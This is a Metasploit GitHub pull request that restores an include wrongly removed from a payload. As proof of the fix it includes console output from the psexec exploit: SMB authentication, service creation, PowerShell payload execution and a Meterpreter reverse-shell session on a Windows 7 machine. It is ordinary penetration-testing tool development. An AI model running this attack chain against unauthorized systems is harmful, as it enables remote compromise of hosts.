Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Accidentally removed include that is sort of imperative.... #12150

merged 1 commit into from Jul 31, 2019


Copy link

commented Jul 31, 2019

During the final part of the pingback landing, I was clearing out includes from pingback that were unused, and I screwed up and removed an include from a non-pingback payload..... Returning that include.


> run -z
[-] Exploit failed: undefined method `asm_exitfunk' for #<#<Class:0x00007f1824fa0fd0>:0x000000000863c0d8>
[*] Exploit completed, but no session was created.

You could also likely find the error using msf venom, but here is the corrected version:

msf5 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 
[*] - Connecting to the server...
[*] - Authenticating to as user '[redacted]'...
[!] - No active DB -- Credential data will not be saved!
[*] - Checking for System32\WindowsPowerShell\v1.0\powershell.exe
[*] - PowerShell found
[*] - Selecting PowerShell target
[*] - Powershell command length: 2652
[*] - Executing the payload...
[*] - Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:[\svcctl] ...
[*] - Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:[\svcctl] ...
[*] - Obtaining a service manager handle...
[*] - Creating the service...
[+] - Successfully created the service
[*] - Starting the service...
[+] - Service start timed out, OK if running a command or non-service executable...
[*] - Removing the service...
[+] - Successfully removed the service
[*] - Closing service handle...
[*] Sending stage (206403 bytes) to
[*] Meterpreter session 3 opened ( -> at 2019-07-31 08:43:41 -0500

meterpreter > sysinfo
Computer        : WIN7X64SP1
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows
meterpreter > exit

@jmartin-r7 jmartin-r7 self-assigned this Jul 31, 2019

@jmartin-r7 jmartin-r7 merged commit 36ae16d into rapid7:master Jul 31, 2019

3 checks passed

Metasploit Automation - Sanity Test Execution Successfully completed all tests.
Metasploit Automation - Test Execution Successfully completed all tests.
continuous-integration/travis-ci/pr The Travis CI build passed

jmartin-r7 added a commit that referenced this pull request Jul 31, 2019

@jmartin-r7 jmartin-r7 added the msf5 label Aug 1, 2019

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
None yet
2 participants
You can’t perform that action at this time.